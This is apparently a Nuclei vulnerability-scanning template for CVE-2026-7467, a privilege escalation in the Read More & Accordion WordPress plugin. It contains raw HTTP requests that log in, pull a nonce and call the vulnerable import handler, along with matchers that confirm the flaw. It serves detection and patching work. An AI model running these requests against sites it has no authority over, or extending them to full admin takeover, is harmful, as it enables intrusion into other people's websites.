id: CVE-2026-7467 info: name: Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation author: zer0p0int severity: high description: | The Read More & Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover. impact: | Authenticated attackers can insert arbitrary rows into any WordPress database table, allowing creation of a new administrator account and full takeover of the site. remediation: | Update to the latest version of the Read More & Accordion (expand-maker) plugin. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/id/adf51c03-b0bb-4864-b64d-6b0cba4b0130 - https://wordpress.org/plugins/expand-maker/ - https://nvd.nist.gov/vuln/detail/CVE-2026-7467 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2026-7467 epss-score: 0.01242 epss-percentile: 0.67501 cwe-id: CWE-269 metadata: verified: false max-request: 4 vendor: radmore product: expand-maker framework: wordpress publicwww-query: "/wp-content/plugins/expand-maker/" tags: cve,cve2026,wp,wordpress,wp-plugin,privilege-escalation,ssrf,authenticated http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2F&testcookie=1 - | GET /wp-admin/admin.php?page=readMore HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=yrm_import_data&ajaxNonce={{yrm_nonce}}&attachmentUrl={{BaseURL}}/wp-json/ matchers: - type: word part: body_2 words: - "yrmBackendData" - type: word part: body_3 words: - '"success":true' - "Data import successful" condition: and extractors: - type: regex name: yrm_nonce group: 1 part: body_2 regex: - 'yrmBackendData = \{"nonce":"([a-f0-9]+)"' internal: true # digest: 490a0046304402204ba05f1ba42bef2d1f1dbf82cc9b8016c2256638cb8679f4ed87f784169aa50d02201d4ef71660ebed00f1a83f725f362fd6d0f1962083816c945c78976e63960a6c:922c64590222798bb761d5b6d8e72950